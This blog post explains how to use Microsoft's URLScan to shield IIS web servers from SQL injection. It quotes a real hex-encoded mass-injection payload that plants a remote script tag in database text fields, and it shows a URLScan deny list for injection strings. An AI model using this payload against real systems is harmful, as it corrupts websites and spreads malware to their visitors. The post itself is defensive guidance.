UPDATE 2021: Since writing this many years ago nobody uses URLScan 3.1 any more and the download links no longer work. Instead, for modern Microsoft IIS Servers you should look at Request Filtering which is built-in. Or just go use a web application firewall, like Imperva or CloudFlare!
UPDATE: Since writing this, Microsoft have released URLScan 3.1 which you should be using -> (
http://www.iis.net/extensions/UrlScan – no longer valid)
If you’re not using URLScan Beta 3.0 then you’re just asking for trouble these days. There has been a recent ramp up in activity with SQL Injection attacks (amongst others) so you need to be very careful if you’re running a Microsoft IIS Web Server.
Getting URLScan 3.0
For information about Microsoft’s URLScan 3.0 Beta –
After you install it, fine the urlscan.ini file which is located in C:\Windows\System32\inetsrv\urlscan.
The default configuration file is fine for most web servers (unless you’re hosting Exchange OWA because you’ll need to allow a few more verbs that RPC uses).
What does a SQL Inject attack look like?
Almost all of the SQL Inject attempts we’ve been seeing look very similar to this:
RawURL='/somepage/somepage.asp’, QueryString='id=1042;DECLARE%%20@S%%20CHAR(4000);SET%%20@S=CAST (0x4445434C415245204054207661726368617228323535292C404320766172636861 72283430303029204445434C415245205461626C655F437572736F7220435552534F 5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D2073 79736F626A6563747320612C737973636F6C756D6E73206220776865726520612E6 9643D622E696420616E6420612E78747970653D27752720616E642028622E787479 70653D3939206F7220622E78747970653D3335206F7220622E78747970653D32333 1206F7220622E78747970653D31363729204F50454E205461626C655F437572736F 72204645544348204E4558542046524F4D20205461626C655F437572736F7220494 E544F2040542C4043205748494C4528404046455443485F5354415455533D302920 424547494E20657865632827757064617465205B272B40542B275D20736574205B2 72B40432B275D3D5B272B40432B275D2B2727223E3C2F7469746C653E3C73637 2697074207372633D22687474703A2F2F6A6A6D616F627564756F2E333332322E6 F72672F63737273732F772E6A73223E3C2F7363726970743E3C212D2D27272077 6865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C65 3E3C736372697074207372633D22687474703A2F2F6A6A6D616F627564756F2E33 3332322E6F72672F63737273732F772E6A73223E3C2F7363726970743E3C212D2 D272727294645544348204E4558542046524F4D20205461626C655F437572736F7 220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736 F72204445414C4C4F43415445205461626C655F437572736F72%%20AS%%20 CHAR(4000));EXEC(@S);
If you decode this using Microsoft SQL Query Analyser you will see that it is a bit of SQL designed to scan through all the tables in the database and append a <script></script> tag into any varchar field with enough space at the end. This is done in the hope that some of those varchars will end up being rendered back onto the website, thus providing the attack vector to visitors of your website.
Suggested Changes to URLSCAN.INI
Under [DenyQueryStringSequences] found at the end of the urlscan.ini file, ours now looks like this:
[DenyQueryStringSequences] ; ; If any character sequences listed here appear in the query; string for any request, that request will be rejected. ; char( ; Used in those big encoded SQL Inject attempts cast( ; Also be used in SQL Injects < ; Commonly used by script injection attacks > ; Commonly used by script injection attacks
We figure that nobody ever needs to use char( or cast( in any real URL, and thus far it has successfully caught many attempts. You could also consider other character strings like exec for example. It is up to you, and depends what you see come through.
Other things to look out for are the file extensions, you’ll need to comment out .exe if you host any download files.
And also under [DenyUrlSequences] look out for this line:
& ; Don't allow multiple CGI processes to run on a single request
If you have any URLs that contain references to files with the ‘&’ character (some people do this particularly with photos where a filename might be ‘John&Mary.jpg’) be warned that any server requests for these files will result in URLScan blocking them, so you might want to uncomment that line above.
And remember, Take Care Out There!